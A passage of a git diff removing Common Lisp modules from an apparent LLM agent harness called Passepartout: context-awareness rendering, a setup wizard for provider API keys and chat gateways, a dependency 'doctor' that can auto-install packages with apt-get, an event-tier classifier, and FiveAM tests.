-               "Expected note creation to return T")
-           (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
-               "Expected file test_note.org to exist"))
-      (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))

lisp/symbolic-awareness.lisp

@@ -1,228 +0,0 @@
-(in-package :passepartout)
-
-(defun context-query (&key tag todo-state type scope)
-  "Filters the Memory based on tags, todo states, or types.
-Optional SCOPE restricts results to objects with that scope
-or :memex (global scope always visible)."
-  (let ((results nil))
-    (maphash (lambda (id obj)
-               (declare (ignore id))
-               (let* ((attrs (memory-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
-                 ;; Scope filter: if scope specified, only match :memex (global) or same scope
-                 (when (and scope (not (eq (memory-object-scope obj) :memex))
-                            (not (eq (memory-object-scope obj) scope)))
-                   (setf match nil))
-                 (when (and type (not (eq (memory-object-type obj) type))) (setf match nil))
-                 (when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
-                 (when (and todo-state (not (equal state todo-state))) (setf match nil))
-                 (when match (push obj results))))
-             *memory-store*)
-    results))
-
-(defun context-active-projects ()
-  "Returns headlines tagged as 'project' that are not yet marked DONE."
-  (remove-if (lambda (obj) (equal (getf (memory-object-attributes obj) :TODO-STATE) "DONE"))
-             (context-query :tag "project" :type :HEADLINE)))
-
-(defun context-recent-tasks () 
-  "Retrieves recently finished tasks from the store."
-  (context-query :todo-state "DONE" :type :HEADLINE))
-
-(defun context-skill-list ()
-  "Provides a sorted overview of currently loaded system capabilities."
-  (let ((results nil))
-    (maphash (lambda (name skill)
-               (declare (ignore name))
-               (push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
-             *skill-registry*)
-    (sort results #'> :key (lambda (x) (getf x :priority)))))
-
-(defun context-skill-source (skill-name)
-  "Reads the raw literate source of a specific skill for inspection."
-  (let* ((filename (format nil "~a.org" skill-name))
-         (data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
-         (org-dir (merge-pathnames "org/" data-dir))
-         (full-path (merge-pathnames filename org-dir)))
-     (if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
-
-(defun context-skill-subtree (skill-name heading-name)
-  "Reads a specific headline subtree from a skill's Org source file.
-Returns the content under HEADING-NAME (including children) as a string,
-or nil if the heading is not found."
-  (let ((full-source (context-skill-source skill-name)))
-    (unless full-source (return-from context-skill-subtree nil))
-    (if (fboundp 'org-subtree-extract)
-        (org-subtree-extract full-source heading-name)
-        ;; Fallback: no org-subtree-extract available, return full source
-        full-source)))
-
-(defun context-logs (&optional limit)
-  "Retrieves the most recent lines from the harness's internal log."
-  (let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
-    (bt:with-lock-held (*log-lock*)
-      (let ((count (min log-limit (length *log-buffer*)))) 
-        (subseq *log-buffer* 0 count)))))
-
-(defun context-get-system-logs (&optional limit)
-  "Backward-compatibility alias for context-logs."
-  (context-logs limit))
-
-(defun context-object-render (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
-  "Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
-  (let* ((id (memory-object-id obj))
-         (is-foveal (equal id foveal-id))
-         (title (or (getf (memory-object-attributes obj) :TITLE) "Untitled"))
-         (content (memory-object-content obj))
-         (children (memory-object-children obj))
-         (stars (make-string depth :initial-element #\*))
-         (obj-vector (memory-object-vector obj))
-         (threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
-         (similarity (if (and foveal-vector obj-vector (not is-foveal))
-                          (vector-cosine-similarity foveal-vector obj-vector)
-                         0.0))
-         (is-semantically-relevant (>= similarity threshold))
-         (should-render (or (<= depth 2) is-foveal is-semantically-relevant))
-         (output ""))
-    
-    (when should-render
-      (setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id))
-      (when is-semantically-relevant
-        (setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity))))
-      (setf output (concatenate 'string output (format nil ":END:~%")))
-      
-      (when (and content (or is-foveal is-semantically-relevant))
-        (setf output (concatenate 'string output content (string #\Newline))))
-      
-      (dolist (child-id children)
-        (let ((child-obj (memory-object-get child-id)))
-          (when child-obj
-            (let ((next-foveal (if is-foveal child-id foveal-id)))
-              (setf output (concatenate 'string output 
-                                        (context-object-render child-obj 
-                                                               :depth (1+ depth) 
-                                                               :foveal-id next-foveal
-                                                               :semantic-threshold threshold
-                                                               :foveal-vector foveal-vector))))))))
-    output))
-
-(defun context-path-resolve (path-string)
-  "Expands environment variables and strips literal quotes from a path string."
-  (let ((path (if (stringp path-string) 
-                  (string-trim '(#\" #\' #\Space) path-string)
-                  path-string)))
-    (if (and (stringp path) (search "$" path))
-        (let ((result path))
-          (ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path)
-            (let ((var-val (uiop:getenv var-name)))
-              (when var-val
-                (setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val)))))
-          result)
-        path)))
-
-(defun context-privacy-filtered-p (obj)
-  "Returns T if an org-object's :TAGS attribute matches the Dispatcher's privacy tags."
-  (let* ((attrs (memory-object-attributes obj))
-         (tags (getf attrs :TAGS))
-         (privacy-tags (and (find-package :passepartout.security-dispatcher)
-                            (symbol-value
-                             (find-symbol "*DISPATCHER-PRIVACY-TAGS*"
-                                          :passepartout.security-dispatcher)))))
-    (when (and tags privacy-tags)
-      (let ((tag-list (if (listp tags) tags (list tags))))
-        (some (lambda (tag)
-                (some (lambda (private)
-                        (string-equal (string-trim '(#\:) tag)
-                                      (string-trim '(#\:) private)))
-                      privacy-tags))
-              tag-list)))))
-
-(defun context-awareness-assemble (&optional signal)
-  "Produces a high-level skeletal outline of the current Memory for the LLM.
-Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded."
-  (let* ((foveal-id (or (getf signal :foveal-focus) 
-                         (ignore-errors (getf (getf signal :payload) :target-id))))
-         (foveal-vector (when foveal-id
-                          (memory-object-vector (memory-object-get foveal-id))))
-         (all-projects (context-active-projects))
-         (projects (remove-if #'context-privacy-filtered-p all-projects))
-         (output (format nil "GLOBAL MEMEX AWARENESS (Peripheral Vision):~%")))
-    (if projects
-        (dolist (project projects)
-          (setf output (concatenate 'string output
-                                    (context-object-render project :foveal-id foveal-id :foveal-vector foveal-vector))))
-          (setf output (concatenate 'string output "No active projects found.~%")))
-    output))
-
-(defun context-assemble-global-awareness ()
-  (context-awareness-assemble))
-
-(defskill :passepartout-symbolic-awareness
-  :priority 50
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-peripheral-vision-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:vision-suite))
-(in-package :passepartout-peripheral-vision-tests)
-
-(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
-(in-suite vision-suite)
-
-(test test-foveal-rendering
-  "Contract 1: foveal content inline, peripheral content title-only."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
-                :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
-                             :raw-content "FOVEAL CONTENT" :contents nil)
-                            (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
-                             :raw-content "PERIPHERAL CONTENT" :contents nil)))))
-    (ingest-ast ast)
-    (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
-      (is (search "FOVEAL CONTENT" output))
-      (is (search "* Peripheral Node" output))
-      (is (not (search "PERIPHERAL CONTENT" output))))))
-
-(test test-awareness-budget
-  "Contract 1: all active projects appear in awareness output."
-  (clrhash passepartout::*memory-store*)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
-  (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
-  (let ((output (context-awareness-assemble)))
-    (is (search "Project 1" output))
-    (is (search "Project 2" output))))
-
-(test test-context-empty-memory
-  "Contract 1: empty memory produces clean output without error."
-  (clrhash passepartout::*memory-store*)
-  (let ((output (context-awareness-assemble)))
-    (is (stringp output))
-    (is (search "MEMEX" output :test #'char-equal))))
-
-(test test-context-no-foveal-focus
-  "Contract 2: without foveal focus, no inline content appears."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
-                :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
-                             :raw-content "CHILD CONTENT" :contents nil)))))
-    (ingest-ast ast)
-    (let ((output (context-awareness-assemble nil)))
-      (is (stringp output))
-      (is (not (search "CHILD CONTENT" output))))))
-
-(test test-semantic-retrieval-trigram
-  "Contract v0.4.0: trigram backend produces non-zero similarity for related content."
-  (let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
-        (v2 (passepartout::embedding-backend-trigram "add password authentication")))
-    (let ((sim (passepartout::vector-cosine-similarity v1 v2)))
-      (is (> sim 0.0))))
-  (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
-        (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
-    (let ((sim (passepartout::vector-cosine-similarity v3 v4)))
-      (is (> sim 0.75))))
-  (let ((v5 (passepartout::embedding-backend-trigram "authentication"))
-        (v6 (passepartout::embedding-backend-trigram "banana")))
-    (let ((sim (passepartout::vector-cosine-similarity v5 v6)))
-      (is (< sim 0.3)))))

lisp/symbolic-config.lisp

@@ -1,274 +0,0 @@
-(defun config-directory ()
-  "Returns the absolute path to the opencortex config directory."
-  (let ((xdg (uiop:getenv "OC_CONFIG_DIR")))
-    (if xdg xdg (namestring (merge-pathnames ".config/passepartout/" (user-homedir-pathname))))))
-
-(defun config-file-path ()
-  "Returns the path to the .env configuration file."
-  (merge-pathnames ".env" (config-directory)))
-
-(defun config-directory-ensure ()
-  "Creates the configuration directory if it does not exist."
-  (ensure-directories-exist (config-directory)))
-
-(defun config-read ()
-  "Reads the .env config file and returns an alist of KEY=VALUE pairs."
-  (let ((config-file (config-file-path)))
-    (when (uiop:file-exists-p config-file)
-      (let ((lines (uiop:read-file-lines config-file))
-            (result nil))
-        (dolist (line lines)
-          (when (and line (> (length line) 0)
-                     (not (uiop:string-prefix-p "#" line)))
-            (let ((eq-pos (position #\= line)))
-              (when eq-pos
-                (let ((key (string-trim " " (subseq line 0 eq-pos)))
-                      (value (string-trim " " (subseq line (1+ eq-pos)))))
-                  (push (cons key value) result))))))
-        (nreverse result)))))
-
-(defun config-write (config-alist)
-  "Writes the config alist to the .env file."
-  (config-directory-ensure)
-  (let ((config-file (config-file-path)))
-    (with-open-file (stream config-file :direction :output :if-exists :supersede :if-does-not-exist :create)
-      (format stream "# Passepartout Configuration~%")
-      (format stream "# Generated by opencortex setup~%~%")
-      (dolist (pair config-alist)
-        (format stream "~a=~a~%" (car pair) (cdr pair))))))
-
-(defun config-get (key)
-  "Gets a config value by key."
-  (let ((config (config-read)))
-    (cdr (assoc key config :test #'string=))))
-
-(defun config-set (key value)
-  "Sets a config value and saves to file."
-  (let ((config (config-read))
-        (pair (cons key value)))
-    (let ((existing (assoc key config :test #'string=)))
-      (if existing
-          (setf (cdr existing) value)
-          (push pair config))
-      (config-write config))))
-
-(defun prompt (prompt-text)
-  "Simple prompt that returns user input as a string.
-Returns nil if stdin is non-interactive."
-  (format t "~a" prompt-text)
-  (finish-output)
-  (ignore-errors (read-line)))
-
-(defun prompt-yes-no (prompt-text)
-  "Prompts yes/no question. Returns T for yes, nil for no."
-  (let ((response (prompt (format nil "~a [Y/n]: " prompt-text))))
-    (or (string= response "")
-        (string-equal response "Y")
-        (string-equal response "y")
-        (string-equal response "yes"))))
-
-(defun prompt-choice (prompt-text options)
-  "Prompts user to choose from a list of options. Returns the chosen option or nil."
-  (format t "~a~%" prompt-text)
-  (let ((i 1))
-    (dolist (opt options)
-      (format t "  ~a) ~a~%" i opt)
-      (incf i)))
-  (let ((response (prompt "Choice")))
-    (let ((num (ignore-errors (parse-integer response))))
-      (when (and num (<= 1 num) (>= (length options) num))
-        (nth (1- num) options)))))
-
-(defparameter *available-providers*
-  '(("OpenAI" . "OPENAI_API_KEY")
-    ("Anthropic" . "ANTHROPIC_API_KEY")
-    ("OpenRouter" . "OPENROUTER_API_KEY")
-    ("Groq" . "GROQ_API_KEY")
-    ("Gemini" . "GEMINI_API_KEY")
-    ("DeepSeek" . "DEEPSEEK_API_KEY")
-    ("NVIDIA" . "NVIDIA_API_KEY")
-    ("Local" . "LOCAL_BASE_URL")))
-
-(defun setup-llm-providers ()
-  "Interactive wizard for configuring LLM providers."
-  (format t "~%~%")
-  (format t "==================================================~%")
-  (format t " LLM Provider Configuration~%")
-  (format t "==================================================~%~%")
-  
-  (let ((current-providers (loop for (name . key) in *available-providers*
-                                when (config-get key)
-                                collect name)))
-    (when current-providers
-      (format t "Currently configured: ~{~a~^, ~}~%~%" current-providers))
-    
-    (format t "~%")
-    (format t "★ OpenRouter recommended for new users — free tier, no credit card required.~%")
-    (format t "  Sign up at https://openrouter.ai and paste your API key below.~%")
-    (format t "~%")
-    (format t "Available providers:~%")
-    (format t " ~20@A ~25@A ~s~%" "Provider" "Key env var" "Notes")
-    (format t " ~20@A ~25@A ~s~%" "--------" "----------" "-----")
-    (dolist (p *available-providers*)
-      (let ((name (car p))
-            (env-key (cdr p))
-            (desc (case (car p)
-                    ("OpenRouter" "free tier, 33+ models")
-                    ("OpenAI" "paid, gpt-4o-mini")
-                    ("Anthropic" "paid, Claude 3.5 Sonnet")
-                    ("Groq" "fast inference, free tier")
-                    ("Gemini" "free via API")
-                    ("DeepSeek" "competitive pricing, coding")
-                    ("NVIDIA" "NVIDIA NIM hosted models")
-                    ("Local" "local server, no API key")
-                    (t ""))))
-        (format t " ~20@A ~25@A ~a~%" name env-key desc)))
-    (format t "~%")
-    
-    (loop
-      (when (not (prompt-yes-no "Configure a LLM provider?"))
-        (return))
-      (let ((chosen (prompt-choice "Select a provider:" (mapcar #'car *available-providers*))))
-        (unless chosen
-          (format t "Invalid choice.~%")
-          (return))
-        (let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
-          (cond
-            ((string= chosen "Local")
-             (format t "Enter the server URL (e.g., http://localhost:11434 for Ollama,~%")
-             (format t "  or http://localhost:8080 for llama.cpp): ")
-             (let ((url (read-line)))
-               (if (> (length url) 0)
-                   (progn (config-set env-key url)
-                          (format t "✓ ~a configured at ~a~%" chosen url))
-                   (format t "Skipping ~a — no URL entered.~%" chosen))))
-            (t
-             (format t "Enter API key for ~a~%" chosen)
-             (format t "  (get one from the provider's website, paste it here): ")
-             (let ((key (read-line)))
-               (if (> (length key) 0)
-                   (progn (config-set env-key key)
-                          (format t "✓ ~a API key saved~%" chosen))
-                    (format t "Skipping ~a — no key entered.~%" chosen))))))))
-
-  (format t "~%")))
-
-(defun setup-add-provider ()
-  "Entry point for adding a single provider (called from CLI)."
-  (setup-llm-providers))
-
-(defun setup-gateways ()
-  "Interactive wizard for configuring external gateways."
-  (format t "~%~%")
-  (format t "==================================================~%")
-  (format t " Gateway Configuration~%")
-  (format t "==================================================~%~%")
-  
-  (format t "Available gateways:~%")
-  (format t "  - Slack (https://api.slack.com/)~%")
-  (format t "  - Discord (https://discord.com/developers/)~%")
-  (format t "~%")
-  
-  (when (prompt-yes-no "Configure a gateway?")
-    (let ((chosen (prompt-choice "Select platform:" '("Slack" "Discord"))))
-      (when chosen
-        (let ((token (prompt (format nil "Enter ~a bot token: " chosen))))
-          (if (string= chosen "Slack")
-              (config-set "SLACK_TOKEN" token)
-              (config-set "DISCORD_TOKEN" token))
-          (format t "✓ ~a gateway configured~%" chosen)))))
-  
-  (format t "~%"))
-
-(defun setup-skills ()
-  "Interactive wizard for enabling/disabling skills."
-  (format t "~%~%")
-  (format t "==================================================~%")
-  (format t " Skill Management~%")
-  (format t "==================================================~%~%")
-  
-  (format t "Note: Skill management is not yet implemented.~%")
-  (format t "Skills are automatically loaded from ~a~%" (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") "~/.local/share/passepartout"))
-  (format t "~%"))
-
-(defun setup-memory ()
-  "Interactive wizard for memory settings."
-  (format t "~%~%")
-  (format t "==================================================~%")
-  (format t " Memory Settings~%")
-  (format t "==================================================~%~%")
-  
-  (let ((auto-save (prompt "Auto-save interval in seconds [300]:")))
-    (when (and auto-save (> (length auto-save) 0))
-      (config-set "MEMORY_AUTO_SAVE_INTERVAL" auto-save)))
-  
-  (let ((history (prompt "History retention in lines [1000]:")))
-    (when (and history (> (length history) 0))
-      (config-set "MEMORY_HISTORY_RETENTION" history)))
-  
-  (format t "✓ Memory settings saved~%")
-  (format t "~%"))
-
-(defun setup-network ()
-  "Interactive wizard for network settings."
-  (format t "~%~%")
-  (format t "==================================================~%")
-  (format t " Network Settings~%")
-  (format t "==================================================~%~%")
-  
-  (let ((timeout (prompt "Request timeout in seconds [30]:")))
-    (when (and timeout (> (length timeout) 0))
-      (config-set "REQUEST_TIMEOUT" timeout)))
-  
-  (let ((proxy (prompt "Proxy URL (leave empty for none) []:")))
-    (when (and proxy (> (length proxy) 0))
-      (config-set "HTTP_PROXY" proxy)))
-  
-  (format t "✓ Network settings saved~%")
-  (format t "~%"))
-
-(defun setup-wizard-run ()
-  "Main entry point for the interactive setup wizard."
-  (format t "~%~%")
-  (format t "╔═══════════════════════════════════════════════════╗~%")
-  (format t "║         Passepartout Setup Wizard                   ║~%")
-  (format t "╚═══════════════════════════════════════════════════╝~%")
-  (format t "~%")
-  (format t "This wizard will help you configure:~%")
-  (format t "  1. LLM Providers (OpenAI, Anthropic, etc.)~%")
-  (format t "  2. Gateway Links (Slack, Discord)~%")
-  (format t "  3. Memory Settings~%")
-  (format t "  4. Network Settings~%")
-  (format t "~%")
-  
-  (config-directory-ensure)
-  
-  ;; Step 1: LLM Providers
-  (when (prompt-yes-no "Configure LLM providers?")
-    (setup-llm-providers))
-  
-  ;; Step 2: Gateways
-  (when (prompt-yes-no "Configure gateways?")
-    (setup-gateways))
-  
-  ;; Step 3: Memory
-  (when (prompt-yes-no "Configure memory settings?")
-    (setup-memory))
-  
-  ;; Step 4: Network
-  (when (prompt-yes-no "Configure network settings?")
-    (setup-network))
-  
-  ;; Summary
-  (format t "==================================================~%")
-  (format t " Setup Complete!~%")
-  (format t "==================================================~%")
-  (format t "~%")
-  (format t "Configuration saved to: ~a~%" (config-file-path))
-  (format t "~%")
-  (format t "To verify your setup, run: passepartout doctor~%")
-  (format t "~%"))
-
-(defskill :passepartout-symbolic-config
-  :priority 100
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))

lisp/symbolic-diagnostics.lisp

@@ -1,210 +0,0 @@
-(in-package :passepartout)
-
-(defvar *diagnostics-binaries* '("sbcl" "emacs" "git")
-  "List of external binaries required for full system operation.")
-
-(defvar *diagnostics-package-map*
-  '(("sbcl" . "sbcl")
-    ("emacs" . "emacs")
-    ("git" . "git")
-    ("curl" . "curl")
-    ("rlwrap" . "rlwrap"))
-  "Map binary names to apt package names.")
-
-(defvar *doctor-missing-deps* nil
-  "List of missing dependencies populated by diagnostics-dependencies-check.")
-
-(defvar *doctor-auto-install* t
-  "When T, doctor will attempt to install missing dependencies automatically.")
-
-(defun diagnostics-dependencies-check ()
-  "Verifies that required external binaries are available in the PATH via shell probe."
-  (setf *doctor-missing-deps* nil)
-  (let ((all-ok t))
-    (format t "DOCTOR: Checking system dependencies...~%")
-    (dolist (dep *diagnostics-binaries*)
-      (let ((path (ignore-errors
-                    (uiop:run-program (list "which" dep)
-                                      :output :string :ignore-error-status t))))
-        (if (and path (> (length path) 0))
-            (format t "  [OK] Found ~a~%" dep)
-            (progn
-              (format t "  [FAIL] Missing binary: ~a~%" dep)
-              (push dep *doctor-missing-deps*)
-              (setf all-ok nil)))))
-    (when (and all-ok (null *doctor-missing-deps*))
-      (format t "DOCTOR: All dependencies satisfied.~%"))
-    all-ok))
-
-(defun diagnostics-dependencies-install ()
-  "Attempts to install missing system dependencies via apt."
-  (when (null *doctor-missing-deps*)
-    (format t "DOCTOR: No missing dependencies to install.~%")
-    (return-from diagnostics-dependencies-install t))
-
-  (format t "DOCTOR: Attempting to install ~a missing dependencies...~%" (length *doctor-missing-deps*))
-
-  (let ((packages (remove-duplicates
-                   (mapcar (lambda (dep)
-                             (or (cdr (assoc dep *diagnostics-package-map* :test #'string=))
-                                 dep))
-                           *doctor-missing-deps*)
-                   :test #'string=)))
-    (format t "DOCTOR: Packages to install: ~a~%" packages)
-
-    (let ((cmd (format nil "apt-get install -y ~{~a~^ ~}" packages)))
-      (format t "DOCTOR: Running: ~a~%" cmd)
-      (handler-case
-          (let ((output (uiop:run-program cmd
-                                           :output :string
-                                           :error-output :string
-                                           :external-format :utf-8)))
-            (if (zerop (uiop:run-program (format nil "which ~a" (car *doctor-missing-deps*))
-                                          :ignore-error-status t))
-                (progn
-                  (format t "DOCTOR: Dependencies installed successfully.~%")
-                  (setf *doctor-missing-deps* nil)
-                  t)
-                (progn
-                  (format t "DOCTOR: Installation failed. Output: ~a~%" output)
-                  nil)))
-        (error (c)
-          (format t "DOCTOR: Installation error: ~a~%" c)
-          nil)))))
-
-(defun diagnostics-env-check ()
-  "Validates XDG directories and environment configuration."
-  (format t "DOCTOR: Checking XDG environment...~%")
-  (let ((all-ok t)
-        (config-dir (uiop:getenv "PASSEPARTOUT_CONFIG_DIR"))
-        (data-dir (uiop:getenv "PASSEPARTOUT_DATA_DIR"))
-        (state-dir (uiop:getenv "PASSEPARTOUT_STATE_DIR"))
-        (memex-dir (uiop:getenv "MEMEX_DIR")))
-
-    (flet ((check-dir (name path critical)
-             (if (and path (> (length path) 0))
-                 (if (uiop:directory-exists-p path)
-                     (format t "  [OK] ~a: ~a~%" name path)
-                     (progn
-                       (format t "  [FAIL] ~a directory missing: ~a~%" name path)
-                       (when critical (setf all-ok nil))))
-                 (progn
-                   (format t "  [FAIL] ~a variable not set.~%" name)
-                   (when critical (setf all-ok nil))))))
-
-      (check-dir "Config (PASSEPARTOUT_CONFIG_DIR)" config-dir t)
-      (check-dir "Data (PASSEPARTOUT_DATA_DIR)" data-dir t)
-      (check-dir "State (PASSEPARTOUT_STATE_DIR)" state-dir t)
-      (check-dir "Memex (MEMEX_DIR)" memex-dir t))
-    all-ok))
-
-(defun diagnostics-llm-check ()
-  "Tests connectivity to LLM providers. Returns T if at least one provider is configured."
-  (format t "DOCTOR: Checking LLM connectivity...~%")
-  (let ((providers '((:openrouter . "OPENROUTER_API_KEY")
-                     (:anthropic . "ANTHROPIC_API_KEY")
-                     (:openai . "OPENAI_API_KEY")
-                     (:groq . "GROQ_API_KEY")
-                     (:gemini . "GEMINI_API_KEY")
-                     (:deepseek . "DEEPSEEK_API_KEY")
-                     (:nvidia . "NVIDIA_API_KEY")
-                     (:ollama . "OLLAMA_URL")))
-        (configured nil))
-    (dolist (p providers)
-      (let ((env-val (uiop:getenv (cdr p))))
-        (cond
-          ((and env-val (> (length env-val) 0))
-           (format t "  [OK] ~a configured~%" (car p))
-           (setf configured t))
-          ((eq (car p) :ollama)
-           (let ((ollama-check (ignore-errors
-                                 (uiop:run-program '("curl" "-s" "http://localhost:11434/api/tags")
-                                                    :output :string :ignore-error-status t))))
-             (when (and ollama-check (search "\"models\"" ollama-check))
-               (format t "  [OK] Ollama local model server detected~%")
-               (setf configured t)))))))
-    (if configured
-        (progn
-          (format t "  [OK] LLM provider(s) available~%")
-          t)
-        (progn
-          (format t "  [WARN] No LLM provider configured.~%")
-          (format t "  Run 'passepartout configure' to configure a provider.~%")
-          t))))
-
-(defun diagnostics-run-all (&key (auto-install t))
-  "Executes the full diagnostic suite and returns T if system is healthy."
-  (format t "==================================================~%")
-  (format t " PASSEPARTOUT DOCTOR: Commencing Health Check~%")
-  (format t "==================================================~%")
-  (let ((dep-ok (diagnostics-dependencies-check)))
-    (when (and (not dep-ok) auto-install *doctor-auto-install*)
-      (format t "DOCTOR: Attempting automatic installation...~%")
-      (setf dep-ok (diagnostics-dependencies-install))
-      (when dep-ok
-        (setf dep-ok (diagnostics-dependencies-check))))
-    (let ((env-ok (diagnostics-env-check))
-          (llm-ok (diagnostics-llm-check)))
-      (format t "==================================================~%")
-      (if (and dep-ok env-ok)
-          (progn
-            (format t " ✓ SYSTEM HEALTHY: Ready for ignition.~%")
-            t)  ;; Explicitly return T
-          (progn
-            (format t "==================================================~%")
-            (format t " ISSUES FOUND:~%")
-            (when (not dep-ok)
-              (format t "  - Missing system dependencies~%"))
-            (when (not llm-ok)
-              (format t "  - No LLM provider configured~%"))
-            (format t "~%")
-            (format t " RECOMMENDED ACTIONS:~%")
-            (format t "  1. Run 'passepartout configure' to configure everything~%")
-            (format t "  2. Or run 'passepartout doctor --fix' for auto-repair~%")
-            (format t "==================================================~%")
-            nil)))))  ;; Return nil when issues found
-
-(defun diagnostics-main ()
-  "Entry point for the 'doctor' CLI command."
-  (if (diagnostics-run-all)
-      (uiop:quit 0)
-      (uiop:quit 1)))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-diagnostics-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:diagnostics-suite))
-
-(in-package :passepartout-diagnostics-tests)
-
-(def-suite diagnostics-suite :description "Verification of the System Diagnostics logic")
-(in-suite diagnostics-suite)
-
-(test test-diagnostics-dependency-fail
-  "Contract 1: missing binaries cause diagnostics-dependencies-check to return nil."
-  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
-         (bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
-    (when bin-var
-      (setf (symbol-value bin-var) '("non-existent-binary-123"))
-      (is (null (diagnostics-dependencies-check))))))
-
-(test test-diagnostics-env-fail
-  "Contract 2: diagnostics-env-check returns a boolean."
-  (let ((result (diagnostics-env-check)))
-    (is (or (eq t result) (eq nil result))
-        "diagnostics-env-check should return T or NIL")))
-
-(test test-diagnostics-dependency-success
-  "Contract 1: all binaries present returns T."
-  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
-         (bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
-    (when bin-var
-      (setf (symbol-value bin-var) '("ls"))
-      (is (eq t (diagnostics-dependencies-check))))))
-
-(defskill :passepartout-symbolic-diagnostics
-  :priority 100
-  :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
-  :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))

lisp/symbolic-events.lisp

@@ -1,224 +0,0 @@
-(defpackage :passepartout.symbolic-events
-  (:use :cl :passepartout)
-  (:export
-   :orchestrator-register-hook
-   :orchestrator-register-cron
-   :orchestrator-classify
-   :orchestrator-on-heartbeat
-   :orchestrator-bootstrap
-   :orchestrator-dispatch
-   :default-classifier
-   :parse-org-repeat
-   :*hook-registry*
-   :*cron-registry*
-   :*tier-classifier*))
-
-(in-package :passepartout.symbolic-events)
-
-(defvar *hook-registry* (make-hash-table :test 'equal)
-  "Maps hook property string → list of gate function symbols.")
-
-(defvar *cron-registry* (make-hash-table :test 'equal)
-  "Maps job name string → plist (:next-run :expression :repeat :action :tier).")
-
-(defvar *tier-classifier* nil
-  "Optional function (context) → :reflex | :cognition | :reasoning.")
-
-(defun default-classifier (context)
-  "Rule-based tier classification.
-:reflex — file/shell operations, deterministic checks
-:cognition — text processing, summarization, simple Q&A
-:reasoning — planning, analysis, multi-step decisions"
-  (let* ((text (or (getf context :text) ""))
-         (lower (string-downcase text)))
-    (cond
-      ((or (search "rm " lower)
-           (search "write-file" lower)
-           (search "shell" lower)
-           (search "verify-" lower))
-       :reflex)
-      ((or (search "summarize" lower)
-           (search "list" lower)
-           (search "find " lower)
-           (search "what is" lower)
-           (search "search" lower))
-       :cognition)
-      (t :reasoning))))
-
-(defun parse-org-repeat (timestamp-string)
-  (let* ((cleaned (string-trim '(#\< #\> #\Newline #\Tab) timestamp-string))
-         (parts (uiop:split-string cleaned :separator '(#\space)))
-         (repeat-part (ignore-errors (car (last parts)))))
-    (when (and repeat-part (uiop:string-prefix-p "+" repeat-part))
-      (let* ((rest (subseq repeat-part 1))
-             (num-end (position-if (lambda (c) (not (digit-char-p c))) rest))
-             (num (parse-integer (subseq rest 0 num-end)))
-             (unit-str (subseq rest num-end)))
-        (list (intern (string-upcase unit-str) :keyword) num)))))
-
-(defun orchestrator-register-hook (hook-property gate-function)
-  "Registers a deterministic gate to fire when an Org node with
-the #+HOOK: property matching HOOK-PROPERTY is modified."
-  (push gate-function
-        (gethash (string-downcase (string hook-property)) *hook-registry*))
-  (log-message "ORCHESTRATOR: Hook ~a → ~a" hook-property gate-function))
-
-(defun orchestrator-register-cron (name expression action-function tier)
-  "Register a cron job. NAME is a keyword, EXPRESSION is an Org-mode
-timestamp string with optional repeat. TIER is :reflex :cognition :reasoning."
-  (let* ((repeat (parse-org-repeat expression))
-         (now (get-universal-time)))
-    (setf (gethash (string-downcase (string name)) *cron-registry*)
-          (list :next-run now
-                :expression expression
-                :repeat repeat
-                :action action-function
-                :tier tier))
